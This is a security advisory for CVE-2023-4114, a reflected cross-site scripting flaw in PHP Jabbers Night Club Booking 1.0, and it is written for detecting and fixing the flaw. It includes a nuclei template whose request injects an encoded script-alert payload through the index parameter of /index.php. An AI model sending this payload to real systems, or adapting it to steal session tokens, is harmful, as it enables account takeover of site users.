PHP Jabbers Night Club Booking 1.0 - Cross Site Scripting

mediumseverity

6.1CVSS score

8.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in PHP Jabbers Night Club Booking Software 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack may be initiated remotely. The identifier VDB-235961 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Impact

Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of night club booking system administrators and customers.

Fix

Update PHPJabbers Night Club Booking Software to a version newer than 1.0 that properly sanitizes the index parameter in pjFront controller.

How to confirm it

Send: GET {{BaseURL}}/index.php?controller=pjFront&action=pjActionSearch&session_id=&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&date=
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "Drinks & Extras", "Checkout", "><script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2023-4114 -u <target>

The full check

id: CVE-2023-4114

info:
  name: PHP Jabbers Night Club Booking 1.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in PHP Jabbers Night Club Booking Software 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack may be initiated remotely. The identifier VDB-235961 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of night club booking system administrators and customers.
  remediation: |
    Update PHPJabbers Night Club Booking Software to a version newer than 1.0 that properly sanitizes the index parameter in pjFront controller.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39749
    - http://packetstormsecurity.com/files/173932/PHPJabbers-Night-Club-Booking-1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4114
    - https://vuldb.com/?ctiid.235961
    - https://vuldb.com/?id.235961
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4114
    cwe-id: CWE-79
    epss-score: 0.08312
    epss-percentile: 0.94978
    cpe: cpe:2.3:a:phpjabbers:night_club_booking_software:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: night_club_booking_software
  tags: cve2023,cve,packetstorm,xss,php,jabbers,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFront&action=pjActionSearch&session_id=&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&date="

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Drinks & Extras", "Checkout", "><script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from